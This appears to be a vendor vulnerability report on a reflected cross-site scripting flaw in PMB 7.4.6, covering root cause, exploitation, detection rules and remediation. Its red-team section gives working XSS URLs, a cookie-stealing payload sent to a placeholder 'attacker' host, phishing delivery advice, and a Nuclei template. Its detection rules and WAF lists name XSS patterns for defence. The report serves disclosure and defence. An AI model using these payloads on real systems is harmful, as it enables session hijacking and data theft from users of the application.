CVE-2023-24737

Executive Summary

CVE-2023-24737 is a reflected Cross-Site Scripting (XSS) vulnerability identified in PMB (PhpMyBibli) version 7.4.6. The flaw resides in the /admin/convert/export_z3950.php endpoint, where the query parameter is not properly sanitized before being reflected in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads; when a victim clicks the link, the script executes in the context of the vulnerable PMB application, potentially leading to session hijacking, data theft, or defacement.

The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) and an EPSS score of 0.13165 (94.152 percentile), indicating moderate exploitation likelihood. A public proof-of-concept (PoC) exists via a Nuclei template, and the vendor has not released an official patch as of this report.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. PMB is a standalone PHP application (library management system) distributed via its own channels. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but no authentication is needed. The impact is limited to low confidentiality and integrity loss within the browser session.

Deep Dive & Mechanics

The vulnerability exists in the file /admin/convert/export_z3950.php. The query parameter is taken directly from the HTTP GET request and echoed back into the HTML response without proper encoding or sanitization. Specifically, the parameter is used in a form or URL context where user-controlled input is reflected.

Root Cause: Lack of output encoding for the query parameter. The application does not use htmlspecialchars() or similar functions before rendering the value in the response body.

Attack Vector: An attacker crafts a URL such as:

/pmb/admin/convert/export_z3950.php?command=search&query=<script>alert(document.domain)</script>

When a victim visits this URL, the browser interprets the injected script and executes it.

Impact: Successful XSS allows the attacker to:

• Steal session cookies (if not HttpOnly).
• Perform actions on behalf of the victim.
• Redirect users to malicious sites.
• Deface the application interface.

Vulnerable vs. Patched Code

Vulnerable Code (PMB 7.4.6):

// export_z3950.php (simplified)
$query = $_GET['query'];
echo "Search results for: " . $query; // No sanitization

Patched Code (Hypothetical):

$query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $query;

No official patch has been released by the vendor. Users should apply input validation and output encoding as a temporary workaround.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• PMB 7.4.6 running on a target server.
• Network access to the /admin/convert/export_z3950.php endpoint.

Step-by-Step Exploitation:

1. Craft the malicious URL:

   http://target/pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain)%3C/script%3E
   

2. Deliver the link to a victim via phishing email, social engineering, or embedded in a forum post.

3. Upon click, the JavaScript executes in the victim's browser, displaying an alert with the domain.

Advanced Payload (Session Hijacking):

http://target/pmb/admin/convert/export_z3950.php?command=search&query=<script>document.location='http://attacker/steal.php?c='+document.cookie</script>

Nuclei Template (Provided):

id: CVE-2023-24737

info:
  name: PMB v7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PMB v7.4.6 allows an attacker to perform a reflected XSS on export_z3950.php via the 'query' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md
    - https://github.com/AetherBlack/CVE/tree/main/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24737
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24737
    cwe-id: CWE-79
    epss-score: 0.13165
    epss-percentile: 0.94152
    cpe: cpe:2.3:a:sigb:pmb:7.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.favicon.hash:1469328760
      - http.html:"pmb group"
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve2023,cve,xss,pmb,pmb_project,sigb,vuln

http:
  - raw:
      - |
        GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '3@1=<script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests to /admin/convert/export_z3950.php containing query= with encoded or raw <script> tags.
2. Deploy a Web Application Firewall (WAF) rule to block requests with query parameter containing <script, onerror, onload, or other XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

• Install PMB 7.4.6 in a Docker container or local LAMP stack.
• Use Burp Suite or OWASP ZAP to intercept and modify the query parameter.
• Verify XSS by observing script execution in a browser.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_24737_XSS_PMB {
    meta:
        description = "Detects reflected XSS attempts against PMB export_z3950.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-24737"
    strings:
        $url_pattern = "/admin/convert/export_z3950.php"
        $xss_payload = /query=.*<script>/
        $reflected = "3@1=<script>"
    condition:
        $url_pattern and ($xss_payload or $reflected)
}

Sigma Rule

title: CVE-2023-24737 - Reflected XSS in PMB export_z3950.php
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a9e7c
status: experimental
description: Detects HTTP requests targeting the vulnerable PMB endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/convert/export_z3950.php'
        cs-uri-query|contains|all:
            - 'command=search'
            - 'query='
    filter:
        cs-uri-query|contains: 'query=<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-24737 PMB Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/convert/export_z3950.php"; http_uri; content:"command=search"; http_uri; content:"query="; http_uri; pcre:"/query=.*<script>/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the query parameter using htmlspecialchars() or equivalent.
2. Output Encoding: Encode all user-supplied data before rendering in HTML context.
3. WAF Rules: Block requests containing <script, onerror, onload, javascript:, etc., in the query parameter.
4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term Fix:

• Upgrade to a patched version of PMB once available.
• Conduct a full security audit of the application for similar issues.

Vendor Contact: No official patch has been released. Monitor the PMB project website for updates.

Report generated by Valters IT DevSecOps & CTI Division.

{/* [Security Hash: 7E01B4FFB3FE8750A2B8BD83] */}